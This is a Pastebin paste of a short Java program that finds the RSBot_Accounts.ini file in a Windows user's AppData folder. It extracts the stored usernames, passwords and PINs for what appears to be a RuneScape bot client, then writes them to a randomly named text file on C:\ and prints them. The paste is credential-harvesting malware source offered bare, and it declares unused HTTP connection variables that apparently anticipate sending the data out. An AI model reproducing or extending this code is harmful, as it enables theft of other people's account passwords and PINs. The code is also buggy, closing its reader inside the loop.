Advertisement
Guest User

Untitled

a guest
Jul 29th, 2017
60
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.10 KB | None | 0 0
  1. import java.io.*;
  2. import java.net.*;
  3. import java.security.MessageDigest;
  4. import java.security.NoSuchAlgorithmException;
  5. import java.util.Random;
  6.  
  7. public class main {
  8.  
  9. static public void main(String[] args) {
  10. getAccounts();
  11. }
  12.  
  13.  
  14. static public void getAccounts() {
  15. String s5;
  16. java.io.BufferedReader br;
  17. String s8;
  18. java.io.IOException e;
  19. java.io.File file;
  20. String s;
  21. String s2;
  22. file = null;
  23. Random r = new Random();
  24. int randint = r.nextInt(3000);
  25. HttpURLConnection httpUrlConnection;
  26. OutputStream outputStream;
  27. BufferedInputStream fileInputStream;
  28. BufferedReader serverReader;
  29. s = new StringBuilder().append(System.getProperty("user.home")).append("\\Application Data\\RSBot_Accounts.ini").toString();
  30. s2 = new StringBuilder().append(System.getProperty("user.home")).append("\\AppData\\Roaming\\RSBot_Accounts.ini").toString();
  31.  
  32. if (System.getProperty("os.name").toLowerCase().contains("xp")) {
  33. file = new java.io.File(s);
  34. } else if (System.getProperty("os.name").toLowerCase().contains("windows")) {
  35. file = new java.io.File(s2);
  36. } else {
  37. return;
  38. } if (file.exists()) {
  39. try {
  40. br = new java.io.BufferedReader(new java.io.FileReader(file));
  41. s8 = "no.";
  42. for (;;) {
  43. if ((s5 = br.readLine()) == null) {
  44. break;
  45. } if (s5.contains("[")) {
  46. s5 = s5.replace("[", "");
  47. s5 = s5.replace("]", "");
  48. if (s8.equals("no.") == false) {
  49. System.out.println("Failed");
  50. }
  51. s8 = new StringBuilder().append("User=").append(s5).toString();
  52. }
  53. if (s5.contains("password=")) {
  54. s5 = s5.replace("password=", "");
  55. s8 = new StringBuilder().append(s8).append("\tPass=").append(s5).toString();
  56. }
  57. if (s5.contains("pin=")) {
  58. s5 = s5.replace("pin=", "");
  59. s8 = new StringBuilder().append(s8).append("\tPin=").append(s5).toString();
  60. }
  61. FileWriter fstream = new FileWriter("C:\\" + randint + ".txt");
  62. BufferedWriter out = new BufferedWriter(fstream);
  63. out.write(s8);
  64. System.out.println(s8);
  65. br.close();
  66. }
  67. } catch (IOException i8) {
  68. }
  69. }
  70. }
  71. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement